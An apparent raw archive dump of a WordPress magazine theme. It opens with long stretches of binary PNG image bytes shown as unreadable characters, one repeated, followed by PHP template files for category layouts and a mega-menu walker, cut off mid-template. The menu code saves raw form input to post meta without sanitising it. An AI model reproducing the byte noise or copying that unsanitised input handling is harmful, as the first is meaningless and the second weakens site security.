K`>п @h գKVn"a"%l@.v$/U^G:#`` uTtK~ŋZ5T%kxk]\*Q,҇B44OXK|yg+_M(lоEO
 V$T1BXb-|?@ fBXr%'@ҹA\IJ,}BBc\V
rh(]tI^}oצoS3	";ʙb}"߰	){b$Gwwݾab")T@pF_er6JvШ"mޭM-d76x˰6ӥ;/`>KrP\_^u1%OTM.} Q3.Nس} )>-w`a+sy$t)NbFFFFBejnNVn4,A*X*5>PGa3	{oB&<L[Nc.öi=` Q@d
͆I.Il`\t[< Cit484-r+f쑱BCB MH	iy }>rxp|z;BǏ;burcK4tz1G~`ؚK|	̔>ۡO$~
Ao)0pzz
} i `;ADm8n:cfA@s7L  Z/..h8or?N93B~o_'` opO-:TG	L;7]`B%˛>*wTpM 0H}&t^1'Oqr'2P͡+z,tIW''|en=ǳgRm[NStK{҉mؓVt6ҲR`ζN&}B	U(r<qȁVyrrA**دzg6D#	YP`vs~(zMle|uQa*}+TRXc"+*NlNhcFt<N+;-}،Xtٕ$à^|uv*~'E_51qs*R`OΒ9#x449#WHۏZ)]0`p<ߝNoY{476ǹ>ۗ&1%Q''?l׸+&r{jN಻4)`N狌.߭ ǣ)q	2?n3Hb`} .`pqY1e_bu7e+N_F(DT,L}LLrmP5|x芥1cx DAb`M(7NED~<v\	%,ߚ/pR~/^lnp7t0_0l4_b0MWΦjmбɎl
|reȫ`B-v.iRox}
)%#`ЂR5CA2sua sYy3=jaeoI7~.plA΃
`O)	^>Mz	+4BXd.Mzv͈Pd8p<6?8N*x.6ڍ6G FZ)O	!lSshssNp8`'0/<s}.@Ǩs7ξO۟VDa5a v]m1+3 y6۠>@u50Ps51==p *KVҫ܂ݻc$N4(Xr2###c-賟Lδ>]5.sYs1f0;'̨Yg銛{@9	`aC(=%bo2=n1	jBoS$n#m =i0ci9}oI	qT] W%.(؅]z\x
f"]o'u䫵tk{v;A C3ֆwwR_#X(xҋ/q%Whpk_IX'b/fXKi"#####QCLi2t5L 0
QiH2;yTOok;עٶ`RNg{zy! Kxm?A(vU~mL(`o/!nmX-{v [ dw=n「sdwzn(}Oy~m
?XU;, V'+V&JRZ]᧭:zC'-߆@y4u`Vۓwъ#zP@QN>2/{\o) W~a3xLw:_Q;=pּdt\'8~3SRP6y+XQ*޺r
̗ѭ*޺r
gl/\U^u$|mbVnw\V|D͊NVNy7 k<;/E}?E*ǳgO ~g/96f
cD}%g$QG7o) UJo,O@0߾Q(;bw:5	NwRN5Iy'K?}:9mֽ*@f@jU9mҫÍ{$ ؗ}dFp|%!DdF>}G{@FFFFFFƦQܞH 
3
u	Mo~vy}mwz<7nP9rWku=|_nz쿳}@IXn?s<uP    IENDB`PK     N\,XIe   e   P  inc/dashboard/lib/meta-box/img/jqueryui/ui-bg_highlight-soft_75_cccccc_1x100.pngnu [        PNG

   IHDR      d   G,Z`   ,IDATcx&!DJqш/ Cc; :*CO    IENDB`PK     N\5    C  inc/dashboard/lib/meta-box/img/jqueryui/ui-icons_454545_256x240.pngnu [        PNG

   IHDR         IJ   PLTEDFDDFDDFDDFDDFDDFDDFDDFDDFDDFDDFDDFDDFDDFDDFDDFDDFDDFDDFDDFDDFDDFDDFDDFDDFDDFDDFDDFDDFDDFDDFDDFDDFDDFDDFDDFDDFDDFDDFDDFDDFDDFDDFDDFDDFDDFDDFDDFDDFDDFDDFDDFDDFDDFDDFDDFDDFDDFDDFDDFDDFDDFDDFDDFDDFDDFDDFDDFDDFDDFDDFDDFDDFDDFDDFDDFDDFDDFDDFDm:   NtRNS 2P."Tp@f` <BHJZ&0R,4j8D|($
blߝF>n~hhH  IDATx]b۶H儒-{iZK:glkn-tIqq?  E$dK>$>; PZ sVh!Sy0E0}H)-tkoܪKp\RϠ .E7
)*V;~PeBx*,=$zDؾ  JҸٻ 9{ ǸHpqW@"2'B[$ @TiH/b٥96!XHq`DE*R HV!%;"
i]dddddddd4y5 	Rb@(8CdŪݡ,@T@ibrq0alX!pe,	=4bW {
5Ƭhu~(Q^@3="b5XC@JCT76q_5@,r	šɩD)T|O@
ON-ՙ	[n@RXIm݋(F @?=0puL;g$@6η
K`>п @h գKVn"a"%l@.v$/U^G:#`` uTtK~ŋZ5T%kxk]\*Q,҇B44OXK|yg+_M(lоEO
 V$T1BXb-|?@ fBXr%'@ҹA\IJ,}BBc\V
rh(]tI^}oצoS3	";ʙb}"߰	){b$Gwwݾab")T@pF_er6JvШ"mޭM-d76x˰6ӥ;/`>KrP\_^u1%OTM.} Q3.Nس} )>-w`a+sy$t)NbFFFFBejnNVn4,A*X*5>PGa3	{oB&<L[Nc.öi=` Q@d
͆I.Il`\t[< Cit484-r+f쑱BCB MH	iy }>rxp|z;BǏ;burcK4tz1G~`ؚK|	̔>ۡO$~
Ao)0pzz
} i `;ADm8n:cfA@s7L  Z/..h8or?N93B~o_'` opO-:TG	L;7]`B%˛>*wTpM 0H}&t^1'Oqr'2P͡+z,tIW''|en=ǳgRm[NStK{҉mؓVt6ҲR`ζN&}B	U(r<qȁVyrrA**دzg6D#	YP`vs~(zMle|uQa*}+TRXc"+*NlNhcFt<N+;-}،Xtٕ$à^|uv*~'E_51qs*R`OΒ9#x449#WHۏZ)]0`p<ߝNoY{476ǹ>ۗ&1%Q''?l׸+&r{jN಻4)`N狌.߭ ǣ)q	2?n3Hb`} .`pqY1e_bu7e+N_F(DT,L}LLrmP5|x芥1cx DAb`M(7NED~<v\	%,ߚ/pR~/^lnp7t0_0l4_b0MWΦjmбɎl
|reȫ`B-v.iRox}
)%#`ЂR5CA2sua sYy3=jaeoI7~.plA΃
`O)	^>Mz	+4BXd.Mzv͈Pd8p<6?8N*x.6ڍ6G FZ)O	!lSshssNp8`'0/<s}.@Ǩs7ξO۟VDa5a v]m1+3 y6۠>@u50Ps51==p *KVҫ܂ݻc$N4(Xr2###c-賟Lδ>]5.sYs1f0;'̨Yg銛{@9	`aC(=%bo2=n1	jBoS$n#m =i0ci9}oI	qT] W%.(؅]z\x
f"]o'u䫵tk{v;A C3ֆwwR_#X(xҋ/q%Whpk_IX'b/fXKi"#####QCLi2t5L 0
QiH2;yTOok;עٶ`RNg{zy! Kxm?A(vU~mL(`o/!nmX-{v [ dw=n「sdwzn(}Oy~m
?XU;, V'+V&JRZ]᧭:zC'-߆@y4u`Vۓwъ#zP@QN>2/{\o) W~a3xLw:_Q;=pּdt\'8~3SRP6y+XQ*޺r
̗ѭ*޺r
gl/\U^u$|mbVnw\V|D͊NVNy7 k<;/E}?E*ǳgO ~g/96f
cD}%g$QG7o) UJo,O@0߾Q(;bw:5	NwRN5Iy'K?}:9mֽ*@f@jU9mҫÍ{$ ؗ}dFp|%!DdF>}G{@FFFFFFƦQܞH 
3
u	Mo~vy}mwz<7nP9rWku=|_nz쿳}@IXn?s<uP    IENDB`PK     N\-nn   n   G  inc/dashboard/lib/meta-box/img/jqueryui/ui-bg_glass_75_e6e6e6_1x400.pngnu [        PNG

   IHDR        oX
   5IDAT81
  yUXHa@[{UUu@7	DF    IENDB`PK     N\;\x   x   G  inc/dashboard/lib/meta-box/img/jqueryui/ui-bg_glass_55_fbf9ee_1x400.pngnu [        PNG

   IHDR        oX
   ?IDAT81
0 Bѯl`6Cs<]:[&BA	e7lQJŜQY*    IENDB`PK     N\6b  b     inc/modules/magazine-style-5.phpnu [        <?php
/**
 * Template display for featured category style 5
 *
 * @since 2.0
 */
?>

<div class="magcat-carousel swiper-slide">
    <div class="magcat-thumb hentry">
		<?php do_action( 'penci_bookmark_post', get_the_ID() ); ?>
        <a href="<?php penci_permalink_fix(); ?>" class="mag-post-thumb<?php echo penci_class_lightbox_enable(); ?>">
			<?php
			/* Display Review Piechart  */
			if ( function_exists( 'penci_display_piechart_review_html' ) ) {
				penci_display_piechart_review_html( get_the_ID() );
			}
			?>

            <span <?php echo penci_layout_bg( penci_image_srcset( get_the_ID(), penci_featured_images_size() ) ); ?> class="<?php echo penci_layout_bg_class();?> penci-image-holder">
                <?php echo penci_layout_img( penci_image_srcset( get_the_ID(), penci_featured_images_size() ), get_the_title() ); ?>
			</span>


			<?php if ( has_post_thumbnail() && get_theme_mod( 'penci_home_featured_cat_icons' ) ): ?>
				<?php if ( has_post_format( 'video' ) ) : ?>
					<?php penci_fawesome_icon( 'fas fa-play' ); ?>
				<?php endif; ?>
				<?php if ( has_post_format( 'audio' ) ) : ?>
					<?php penci_fawesome_icon( 'fas fa-music' ); ?>
				<?php endif; ?>
				<?php if ( has_post_format( 'link' ) ) : ?>
					<?php penci_fawesome_icon( 'fas fa-link' ); ?>
				<?php endif; ?>
				<?php if ( has_post_format( 'quote' ) ) : ?>
					<?php penci_fawesome_icon( 'fas fa-quote-left' ); ?>
				<?php endif; ?>
				<?php if ( has_post_format( 'gallery' ) ) : ?>
					<?php penci_fawesome_icon( 'far fa-image' ); ?>
				<?php endif; ?>
			<?php endif; ?>
        </a>
        <div class="magcat-detail">
            <h3 class="magcat-titlte entry-title"><a href="<?php the_permalink(); ?>"><?php the_title(); ?></a></h3>
			<?php do_action( 'penci_after_post_title' ); ?>
			<?php $hide_readtime = get_theme_mod( 'penci_home_cat_readtime' ); ?>
			<?php if ( ! get_theme_mod( 'penci_home_featured_cat_author' ) || ! get_theme_mod( 'penci_home_featured_cat_date' ) || get_theme_mod( 'penci_home_featured_cat_comment' ) || get_theme_mod( 'penci_home_cat_views' ) || penci_isshow_reading_time( $hide_readtime ) ): ?>
                <div class="grid-post-box-meta mag-meta">
					<?php if ( ! get_theme_mod( 'penci_home_featured_cat_author' ) ) : ?>
                        <span class="featc-author author vcard"><?php echo penci_get_setting( 'penci_trans_by' ); ?> <?php if ( function_exists( 'coauthors_posts_links' ) ) :
								penci_coauthors_posts_links();
							else: ?>
                                <a class="author-url url fn n"
                                   href="<?php echo get_author_posts_url( get_the_author_meta( 'ID' ) ); ?>"><?php the_author(); ?></a>
							<?php endif; ?></span>
					<?php endif; ?>
					<?php if ( ! get_theme_mod( 'penci_home_featured_cat_date' ) ) : ?>
                        <span class="featc-date"><?php penci_soledad_time_link(); ?></span>
					<?php endif; ?>
					<?php if ( get_theme_mod( 'penci_home_featured_cat_comment' ) ) : ?>
                        <span class="featc-comment"><a
                                    href="<?php comments_link(); ?> "><?php comments_number( '0 ' . penci_get_setting( 'penci_trans_comments' ), '1 ' . penci_get_setting( 'penci_trans_comment' ), '% ' . penci_get_setting( 'penci_trans_comments' ) ); ?></a></span>
					<?php endif; ?>
					<?php if ( get_theme_mod( 'penci_home_cat_views' ) ) {
						echo '<span class="featc-views">';
						echo penci_get_post_views( get_the_ID() );
						echo ' ' . penci_get_setting( 'penci_trans_countviews' );
						echo '</span>';
					} ?>
					<?php if ( penci_isshow_reading_time( $hide_readtime ) ): ?>
                        <span class="featc-readtime"><?php penci_reading_time(); ?></span>
					<?php endif; ?>
					<?php do_action( 'penci_extra_meta' ); ?>
                </div>
			<?php endif; ?>
			<?php penci_soledad_meta_schema(); ?>
        </div>
    </div>
</div>
PK     N\D8PA  PA    inc/modules/penci-walker.phpnu [        <?php

/**
 * Class penci_main_menu
 * Hook to create options mega menu on Appearance > Menu
 * Render content mega menu if mega menu is selected
 * We hook only for categories
 *
 * @since     1.0
 * @construct hook
 *            - action wp_update_nav_menu_item
 *            - filter wp_edit_nav_menu_walker
 *            - filter wp_nav_menu_objects
 */
class penci_main_menu {

	function __construct() {
		if ( is_admin() ) {
			add_action( 'wp_update_nav_menu_item', array( $this, 'penci_wp_update_nav_menu_item' ), 10, 3 );
			add_filter( 'wp_edit_nav_menu_walker', array( $this, 'penci_wp_edit_nav_menu_walker' ) );
		}
		add_filter( 'wp_nav_menu_objects', array( $this, 'hook_wp_nav_menu_objects' ), 10, 2 );
	}

	function penci_wp_edit_nav_menu_walker() {
		include_once trailingslashit( PENCI_SOLEDAD_DIR ) . 'inc/modules/penci-menu-callback.php';

		return 'penci_nav_menu_edit_walker';
	}

	function penci_wp_update_nav_menu_item( $menu_id, $menu_item_id, $args ) {

		$update_list = array(
			'penci_cat_mega_menu',
			'penci_number_mega_menu',
			'penci_style_mega_menu',
			'penci_position_mega_menu',
			'penci_menu_pos',
			'penci_menu_type',
			'penci_menu_bgimg',
			'penci_menu_block',
			'penci_menu_load',
			'penci_menu_mw',
			'penci_menu_mh',
			'penci_menu_bgcl',
			'penci_menu_lbtxt',
			'penci_menu_lbs',
			'penci_menu_lbbg',
			'penci_menu_lbcl',
			'penci_menu_anchor',
			'penci_menu_visible',
		);

		foreach ( $update_list as $list ) {
			if ( isset( $_POST[ $list ][ $menu_item_id ] ) ) {
				update_post_meta( $menu_item_id, $list, $_POST[ $list ][ $menu_item_id ] );
			}
		}
	}

	function hook_wp_nav_menu_objects( $items, $args ) {
		$menu_items = array();
		$remove_ids = [];

		$main_menu_name = isset( $args->menu ) ? $args->menu : '';
		$main_menu_name = is_object( $main_menu_name ) ? $main_menu_name->slug : $main_menu_name;

		$item_position = 0;
		$ajax_support  = get_theme_mod( 'penci_megamenu_ajax_cat', true );

		foreach ( $items as $item ) {
			// Get post meta value for the menu item
			$penci_menu_visible = get_post_meta( $item->ID, 'penci_menu_visible', true );

			if ( $penci_menu_visible == 'loggedin' && ! is_user_logged_in() ) {
				$remove_ids[] = $item->ID;
			} elseif ( $penci_menu_visible == 'visitor' && is_user_logged_in() ) {
				$remove_ids[] = $item->ID;
			}
		}

		foreach ( $items as $key => &$item ) {
			if ( in_array( $item->ID, $remove_ids ) || in_array( $item->menu_item_parent, $remove_ids ) ) {
				unset( $items[ $key ] ); // Remove item if it's in the list or its parent is in the list
			}
		}

		foreach ( $items as $key => &$item ) {
			$item->is_mega_menu = false;

			// if menu is mega menu, render mega menu.
			$penci_menu_type          = get_post_meta( $item->ID, 'penci_menu_type', true );
			$penci_menu_pos           = get_post_meta( $item->ID, 'penci_menu_pos', true );
			$penci_menu_load          = get_post_meta( $item->ID, 'penci_menu_load', true );
			$penci_menu_block         = get_post_meta( $item->ID, 'penci_menu_block', true );
			$penci_catid_mega_menu    = get_post_meta( $item->ID, 'penci_cat_mega_menu', true );
			$penci_number_mega_menu   = get_post_meta( $item->ID, 'penci_number_mega_menu', true );
			$penci_style_mega_menu    = get_post_meta( $item->ID, 'penci_style_mega_menu', true );
			$penci_position_mega_menu = get_post_meta( $item->ID, 'penci_position_mega_menu', true );
			$penci_full_mega_menu     = get_post_meta( $item->ID, 'penci_menu_mw', true );

			$penci_catid_validate  = get_term( $penci_catid_mega_menu, 'category' );
			$penci_catid_mega_menu = $penci_catid_validate && ! is_wp_error( $penci_catid_validate ) ? $penci_catid_mega_menu : '';

			// label text.
			$penci_menu_lbtxt  = get_post_meta( $item->ID, 'penci_menu_lbtxt', true );
			$penci_menu_lbs    = get_post_meta( $item->ID, 'penci_menu_lbs', true );
			$penci_menu_lbbg   = get_post_meta( $item->ID, 'penci_menu_lbbg', true );
			$penci_menu_lbcl   = get_post_meta( $item->ID, 'penci_menu_lbcl', true );
			$penci_menu_anchor = get_post_meta( $item->ID, 'penci_menu_anchor', true );

			if ( $penci_menu_anchor ) {
				$item->classes[] = 'menu-item-has-anchor';
			}

			if ( $penci_menu_lbtxt ) {
				$item->classes[] = 'menu-item-has-label';
				$penci_menu_lbs  = $penci_menu_lbs ? $penci_menu_lbs : 1;
				$label_css       = '';
				if ( $penci_menu_lbbg ) {
					$label_css .= '.menu-item-' . $item->ID . '.menu-item-has-label > a > .menu-label{background-color:' . $penci_menu_lbbg . ';}';
					$label_css .= '.menu-item-' . $item->ID . '.menu-item-has-label > a > .menu-label:before{border-color:' . $penci_menu_lbbg . ';}';
				}
				if ( $penci_menu_lbcl ) {
					$label_css .= '.menu-item-' . $item->ID . '.menu-item-has-label > a > .menu-label{color:' . $penci_menu_lbcl . ';}';
				}
				if ( $label_css ) {
					$label_css = '<style>' . $label_css . '</style>';
				}
				$label       = '<span class="menu-label label-style-' . $penci_menu_lbs . '">' . esc_attr( $penci_menu_lbtxt ) . '</span>';
				$item->title = $label_css . $item->title . $label;
			}

			if ( 'yes' === $penci_menu_load ) {
				$item->classes[] = 'ajax-mega-menu';
			}

			if ( empty( $penci_number_mega_menu ) ) :
				$penci_number_mega_menu = '1';
			endif;
			if ( empty( $penci_style_mega_menu ) ) :
				$penci_style_mega_menu = '1';
			endif;
			if ( empty( $penci_position_mega_menu ) ) :
				$penci_position_mega_menu = 'side';
			endif;


			$parent_ID = penci_menu_parent_id( $items, $item->menu_item_parent );

			if ( ! $parent_ID && ( ( $penci_menu_type != 'mega-menu' && $penci_catid_mega_menu ) || ( $penci_menu_type == 'mega-menu' && $penci_menu_block ) ) ) {
				$penci_menu_pos  = $penci_menu_pos ? $penci_menu_pos : 'flexible';
				$item->classes[] = 'penci-megapos-' . $penci_menu_pos;
				$item->classes[] = 'penci-mega-menu';

				if ( ! $ajax_support && ( $penci_menu_type != 'mega-menu' && $penci_catid_mega_menu ) ) {
					$item->classes[] = 'pcmn-ajxd';
				}

				if ( $penci_full_mega_menu == 'full' && $penci_menu_type == 'mega-menu' ) {
					$item->classes[] = 'penci-mg-fullwidth';
				}

				if ( ! empty( $penci_menu_block ) && $penci_menu_type == 'mega-menu' ) {
					$item->classes[] = 'penci-block-mega penci-block-wrap-mega-' . $item->ID;
				}

				if ( ! empty( $penci_catid_mega_menu ) ) {
					$child_categories = get_categories(
						array(
							'parent'       => $penci_catid_mega_menu,
							'orderby'      => 'name',
							'order'        => 'ASC',
							'hide_empty'   => true,
							'hierarchical' => 1,
							'taxonomy'     => 'category',
						)
					);

					if ( ! empty( $child_categories ) ) {
						$item->classes[] = 'menu-item-has-children';
					}
				}

				$menu_items[] = $item;

				// create mega menu item
				$post                 = new stdClass();
				$post->ID             = 0;
				$post->post_author    = '';
				$post->post_date      = '';
				$post->post_date_gmt  = '';
				$post->post_password  = '';
				$post->post_type      = 'menu_penci';
				$post->post_status    = 'draft';
				$post->to_ping        = '';
				$post->pinged         = '';
				$post->comment_status = get_option( 'default_comment_status' );
				$post->ping_status    = get_option( 'default_ping_status' );
				$post->post_pingback  = get_option( 'default_pingback_flag' );
				$post->post_category  = get_option( 'default_category' );
				$post->page_template  = 'default';
				$post->post_parent    = 0;
				$post->menu_order     = 0;
				$new_item             = new WP_Post( $post );

				/*
				 * if this is mega menu
				 * set the is_mega_menu flag
				 * render content of this mega menu
				 */
				$new_item->is_mega_menu = true; // sent to the menu walkers

				$new_item->menu_item_parent = $item->ID;

				$extra_class = $penci_menu_type == 'mega-menu' ? 'penci-block-mega' : 'penci-megamenu normal-cat-menu';

				$menu_attr = $penci_menu_type !== 'mega-menu' && $penci_catid_mega_menu && $ajax_support ? ' data-id="' . wp_create_nonce( 'penci-load-mega' ) . '" data-menu="' . $main_menu_name . '" data-item="' . $item_position . '" data-catid="' . $penci_catid_mega_menu . '" data-number="' . $penci_number_mega_menu . '" data-style="' . $penci_style_mega_menu . '" data-position="' . $penci_position_mega_menu . '"' : '';

				$new_item->url   = '';
				$new_item->title = '';
				$new_item->title .= '<div class="' . $extra_class . ' penc-menu-' . $item->ID . '"' . $menu_attr . '>';

				if ( $penci_menu_type !== 'mega-menu' && $penci_catid_mega_menu && ! $ajax_support ) {
					$new_item->title .= penci_return_html_mega_menu( $penci_catid_mega_menu, $penci_number_mega_menu, $penci_style_mega_menu, $penci_position_mega_menu, $items, $item );
				}

				if ( $penci_menu_type == 'mega-menu' && ! penci_is_mobile() ) {
					$new_item->title .= penci_return_html_block_menu( $penci_menu_block, $item->ID );
				}

				$new_item->title .= '</div>';

				$menu_items[] = $new_item;

			} elseif ( $parent_ID && get_post_meta( $parent_ID, 'penci_cat_mega_menu', true ) ) {

				$menu_items[] = '';
			} elseif ( $parent_ID && get_post_meta( $parent_ID, 'penci_menu_type', true ) == 'mega-menu' ) {
				$menu_items[] = '';
			} else {
				$menu_items[] = $item;
			}
			++ $item_position;
		} //end foreach

		return $menu_items;
	}
}

new penci_main_menu();

/**
 * Class penci_menu_walker_nav_menu
 * This class will remove wrap </a> around mega menu
 * Callback on wp_nav_menu() in header.php file
 *
 * @since 1.0
 */
class penci_menu_walker_nav_menu extends Walker_Nav_Menu {
	private $logo_break_point = null;
	private $count_item_parent = 0;
	private $curItem;
	private $child_menu_items = array();

	/**
	 * Starts the list before the elements are added.
	 *
	 * @param string $output Passed by reference. Used to append additional content.
	 * @param int $depth Depth of menu item. Used for padding.
	 * @param mixed $args An array of arguments. @see wp_nav_menu().
	 *
	 * @since 3.0.0
	 *
	 * @see   Walker::start_lvl()
	 */
	public function start_lvl( &$output, $depth = 0, $args = array() ) {
		$menu_item       = $this->curItem;
		$penci_menu_type = get_post_meta( $menu_item->ID, 'penci_menu_type', true );
		$penci_menu_mw   = get_post_meta( $menu_item->ID, 'penci_menu_mw', true );

		$indent  = str_repeat( "\t", $depth );
		$classes = '';
		if ( 0 === $depth && 'mega-menu' == $penci_menu_type ) {

			$classes .= ' penci-dropdown-menu penci-dropdown';

			$classes .= $penci_menu_mw && $penci_menu_mw != 'full' ? ' penci-mega-custom-width' : ' penci-mega-full-width';
			$classes .= empty( $penci_menu_mw ) ? ' penci-mega-default-width' : ' penci-mega-has-width';

			$output .= $indent . '<div class="' . trim( $classes ) . '">';
			$output .= $indent . '<div class="container">';
		}

		if ( 0 === $depth && 'mega-menu' == $penci_menu_type ) {
			$sub_menu_class = 'penci-megamenu-sub sub-sub-menu';
		} else {
			$sub_menu_class = 'sub-menu';
		}

		$output .= "\n$indent<ul class=\"$sub_menu_class\">\n";
	}

	/**
	 * Ends the list of after the elements are added.
	 *
	 * @param string $output Passed by reference. Used to append additional content.
	 * @param int $depth Depth of menu item. Used for padding.
	 * @param mixed $args An array of arguments. @see wp_nav_menu().
	 *
	 * @since 3.0.0
	 *
	 * @see   Walker::end_lvl()
	 */
	public function end_lvl( &$output, $depth = 0, $args = array() ) {
		$menu_item       = $this->curItem;
		$penci_menu_type = get_post_meta( $menu_item->ID, 'penci_menu_type', true );
		$indent          = str_repeat( "\t", $depth );
		$output          .= "$indent</ul>\n";

		if ( 0 === $depth && 'mega-menu' == $penci_menu_type ) {
			$output .= "$indent</div>\n";
			$output .= "$indent</div>\n";
		}
	}


	function start_el( &$output, $item, $depth = 0, $args = array(), $id = 0 ) {
		$this->curItem = $item;

		$header_style = penci_soledad_get_header_layout();
		if ( in_array( $header_style, array( 'header-10', 'header-11' ) ) && ! isset( $this->logo_break_point ) ) {
			$penci_nav_menu_items = wp_get_nav_menu_items( $args->menu );
			$middle_menu_elements = 0;

			if ( is_array( $penci_nav_menu_items ) || is_object( $penci_nav_menu_items ) ) {
				foreach ( $penci_nav_menu_items as $menu_element ) {
					$menu_item_parent = isset( $menu_element->menu_item_parent ) && $menu_element->menu_item_parent ? $menu_element->menu_item_parent : '0';
					if ( '0' === $menu_item_parent ) {
						++ $middle_menu_elements;
					}
				}
			}
			$top_level_menu_items_count = $middle_menu_elements;
			if ( 0 === $top_level_menu_items_count ) {
				$this->logo_break_point = $middle_menu_elements / 2;
			} else {
				$this->logo_break_point = ceil( $middle_menu_elements / 2 );
			}
		}

		$indent = ( $depth ) ? str_repeat( "\t", $depth ) : '';

		$class_names = $value = '';

		$classes   = empty( $item->classes ) ? array() : (array) $item->classes;
		$classes[] = 'menu-item-' . $item->ID;

		/**
		 * Filter the CSS classes applied to a menu items
		 *
		 * @param array $classes The CSS classes that are applied to the menu items
		 * @param object $item Current menu item
		 * @param array $args Array of arguments
		 *
		 * @since 1.0
		 */
		$class_names = join( ' ', apply_filters( 'nav_menu_css_class', array_filter( $classes ), $item, $args, $depth ) );
		$class_names = $class_names ? ' class="' . esc_attr( $class_names ) . '"' : '';

		/**
		 * Filter the ID applied to a menu items
		 *
		 * @param string       ID that is applied to the menu items
		 * @param object $item Current menu item.
		 * @param array $args Array of arguments
		 *
		 * @since 1.0
		 */
		$id = apply_filters( 'nav_menu_item_id', 'menu-item-' . $item->ID, $item, $args );
		$id = $id ? ' id="' . esc_attr( $id ) . '"' : '';

		$output .= $indent . '<li' . $id . $value . $class_names . '>';

		$atts           = array();
		$atts['title']  = ! empty( $item->attr_title ) ? $item->attr_title : '';
		$atts['target'] = ! empty( $item->target ) ? $item->target : '';
		$atts['rel']    = ! empty( $item->xfn ) ? $item->xfn : '';
		$atts['href']   = ! empty( $item->url ) ? $item->url : '';

		/**
		 * Filter the HTML attributes applied to a menu items
		 *
		 * @param array $atts
		 * @param object $item The current menu item.
		 * @param array $args An array of arguments
		 *
		 * @since 1.0
		 */
		$atts = apply_filters( 'nav_menu_link_attributes', $atts, $item, $args, $depth );

		$attributes = '';
		foreach ( $atts as $attr => $value ) {
			if ( ! empty( $value ) ) {
				$value      = ( 'href' === $attr ) ? esc_url( $value ) : esc_attr( $value );
				$attributes .= ' ' . $attr . '="' . $value . '"';
			}
		}

		$item_output = $args->before;

		if ( $item->is_mega_menu == false ) {
			$item_output .= '<a' . $attributes . '>';
		}

		$item_output .= $args->link_before . apply_filters( 'the_title', $item->title, $item->ID ) . $args->link_after;

		if ( $item->is_mega_menu == false ) {
			$item_output .= '</a>';
		}
		$item_output .= $args->after;

		/**
		 * Filter a menu item's starting output
		 *
		 * @param string $item_output The menu items starting HTML output
		 * @param object $item Menu item data object
		 * @param int $depth Depth of menu item
		 * @param array $args Array of arguments
		 *
		 * @since 1.0
		 */
		$output .= apply_filters( 'walker_nav_menu_start_el', $item_output, $item, $depth, $args );
	}

	function end_el( &$output, $item, $depth = 0, $args = array() ) {

		if ( isset( $args->item_spacing ) && 'discard' === $args->item_spacing ) {
			$t = '';
			$n = '';
		} else {
			$t = "\t";
			$n = "\n";
		}
		$output .= "</li>{$n}";

		$item_parent = $item->menu_item_parent ? $item->menu_item_parent : '0';

		if ( '0' === $item_parent ) {
			++ $this->count_item_parent;
		}

		$header_style = penci_soledad_get_header_layout();
		$break_point  = $this->logo_break_point;

		if ( in_array(
			     $header_style,
			     array(
				     'header-10',
				     'header-11',
			     )
		     ) && '0' === $item_parent && $break_point == $this->count_item_parent && ! penci_check_theme_mod() ) {

			if ( isset( $args->menu_id ) && $args->menu_id ) {
				$wrap_id = $args->menu_id;
			} elseif ( isset( $args->menu ) && $args->menu ) {
				$menu    = $args->menu;
				$wrap_id = 'menu-' . ( isset( $menu->slug ) ? $menu->slug : '' ) . '-second';
			} else {
				$wrap_id = 'menu-second';
			}

			$wrap_class = isset( $args->menu_class ) ? str_replace( 'pencimn-left', 'pencimn-right', $args->menu_class ) : 'pencimn-right';

			$output .= '</ul>';

			ob_start();
			get_template_part( 'template-parts/header/logo-has-trans' );
			$output .= ob_get_clean();

			$output .= sprintf( '<ul id="%s" class="%s">', esc_attr( $wrap_id ), esc_attr( $wrap_class ) );

		}
	}
}
PK     N\11  1     inc/modules/magazine-style-6.phpnu [        <?php
/**
 * Template display for featured category style 6
 *
 * @since 1.0
 */
$post_id = get_the_ID();
?>
<?php if ( $m == 1 ): ?>
<div class="cat-left"><?php endif; ?>
    <div class="mag-post-box hentry<?php if ( $m == 1 ): echo ' first-post';
		if ( ! has_post_thumbnail() ): echo ' full-mag-cat'; endif; endif; ?>">
        <div class="magcat-thumb">
			<?php
			$size_pie = 'small';
			if ( $m == 1 ): $size_pie = 'normal'; endif;
			do_action( 'penci_bookmark_post', get_the_ID(), $size_pie );
			/* Display Review Piechart  */
			if ( function_exists( 'penci_display_piechart_review_html' ) ) {
				penci_display_piechart_review_html( get_the_ID(), $size_pie );
			}
			?>

            <a <?php echo penci_layout_bg( penci_image_srcset( get_the_ID(), penci_featured_images_size() ) ); ?> class="<?php echo penci_layout_bg_class();?> penci-image-holder<?php if ( $m > 1 ): echo ' small-fix-size'; endif; ?><?php echo penci_class_lightbox_enable(); ?>"
               href="<?php penci_permalink_fix(); ?>" title="<?php echo wp_strip_all_tags( get_the_title() ); ?>">
				<?php echo penci_layout_img( penci_image_srcset( get_the_ID(), penci_featured_images_size() ), get_the_title() ); ?>
            </a>

			<?php if ( has_post_thumbnail() && get_theme_mod( 'penci_home_featured_cat_icons' ) ): ?>
				<?php if ( has_post_format( 'video' ) ) : ?>
                    <a href="<?php the_permalink() ?>" class="icon-post-format"
                       aria-label="Icon"><?php penci_fawesome_icon( 'fas fa-play' ); ?></a>
				<?php endif; ?>
				<?php if ( has_post_format( 'audio' ) ) : ?>
                    <a href="<?php the_permalink() ?>" class="icon-post-format"
                       aria-label="Icon"><?php penci_fawesome_icon( 'fas fa-music' ); ?></a>
				<?php endif; ?>
				<?php if ( has_post_format( 'link' ) ) : ?>
                    <a href="<?php the_permalink() ?>" class="icon-post-format"
                       aria-label="Icon"><?php penci_fawesome_icon( 'fas fa-link' ); ?></a>
				<?php endif; ?>
				<?php if ( has_post_format( 'quote' ) ) : ?>
                    <a href="<?php the_permalink() ?>" class="icon-post-format"
                       aria-label="Icon"><?php penci_fawesome_icon( 'fas fa-quote-left' ); ?></a>
				<?php endif; ?>
				<?php if ( has_post_format( 'gallery' ) ) : ?>
                    <a href="<?php the_permalink() ?>" class="icon-post-format"
                       aria-label="Icon"><?php penci_fawesome_icon( 'far fa-image' ); ?></a>
				<?php endif; ?>
			<?php endif; ?>
        </div>
        <div class="magcat-detail">
			<?php if ( $m == 1 ): ?>
            <div class="mag-header"><?php endif; ?>
                <h3 class="magcat-titlte entry-title"><a href="<?php the_permalink(); ?>"><?php the_title(); ?></a></h3>
				<?php do_action( 'penci_after_post_title' ); ?>
				<?php $hide_readtime = get_theme_mod( 'penci_home_cat_readtime' ); ?>
